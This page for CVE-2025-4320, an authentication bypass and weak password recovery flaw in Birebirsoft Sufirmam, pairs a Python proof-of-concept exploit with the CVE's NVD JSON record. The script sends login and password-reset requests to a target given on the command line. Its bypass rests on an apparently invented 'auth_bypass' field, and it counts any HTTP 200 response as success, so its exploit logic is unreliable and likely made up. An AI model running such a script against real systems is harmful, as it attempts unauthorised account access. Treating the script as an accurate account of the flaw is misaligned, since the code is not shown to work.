CVE-2025-4320

import requests import sys # CVE-2025-4320 PoC - Authentication Bypass # Target: Birebirsoft Sufirmam def exploit_auth_bypass(target_url, username): """ Exploit authentication bypass vulnerability in Sufirmam """ # Step 1: Attempt authentication bypass via primary weakness bypass_payload = { 'username': username, 'password': 'any', 'auth_bypass': 'true' # Primary weakness exploitation } try: response = requests.post( f'{target_url}/login', data=bypass_payload, timeout=10 ) if response.status_code == 200: print(f'[+] Authentication bypass successful for user: {username}') return True except requests.RequestException as e: print(f'[-] Request failed: {e}') return False def exploit_password_recovery(target_url, target_email): """ Exploit weak password recovery mechanism """ # Step 2: Exploit weak password recovery recovery_payload = { 'email': target_email, 'action': 'reset_password' } try: response = requests.post( f'{target_url}/forgot-password', data=recovery_payload, timeout=10 ) if 'reset' in response.text.lower(): print(f'[+] Password recovery triggered for: {target_email}') return True except requests.RequestException as e: print(f'[-] Request failed: {e}') return False if __name__ == '__main__': if len(sys.argv) < 3: print('Usage: python cve-2025-4320.py <target_url> <username/email>') sys.exit(1) target = sys.argv[1] target_param = sys.argv[2] print(f'[*] Starting CVE-2025-4320 exploitation...') print(f'[*] Target: {target}') # Try authentication bypass exploit_auth_bypass(target, target_param) # Try password recovery exploitation exploit_password_recovery(target, target_param)

{"cve": {"id": "CVE-2025-4320", "sourceIdentifier": "[email protected]", "published": "2026-01-23T13:15:49.123", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authentication Bypass by Primary Weakness, Weak Password Recovery Mechanism for Forgotten Password vulnerability in Birebirsoft Software and Technology Solutions Sufirmam allows Authentication Bypass, Password Recovery Exploitation.This issue affects Sufirmam: through 23012026. NOTE: The vendor was contacted early about this disclosure but did not respond in any way."}, {"lang": "es", "value": "Omisión de autenticación por debilidad primaria. Vulnerabilidad de mecanismo débil de recuperación de contraseña para contraseña olvidada en Birebirsoft Software y Technology Solutions Sufirmam permite omitir la autenticación, explotar la recuperación de contraseña. Este problema afecta a Sufirmam: hasta el 23012026. NOTA: Antes de la divulgar esta vulnerabilidad se contactó con el proveedor, pero no respondió de ninguna manera."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-305"}, {"lang": "en", "value": "CWE-640"}]}], "references": [{"url": "https://www.usom.gov.tr/bildirim/tr-26-0005", "source": "[email protected]"}]}}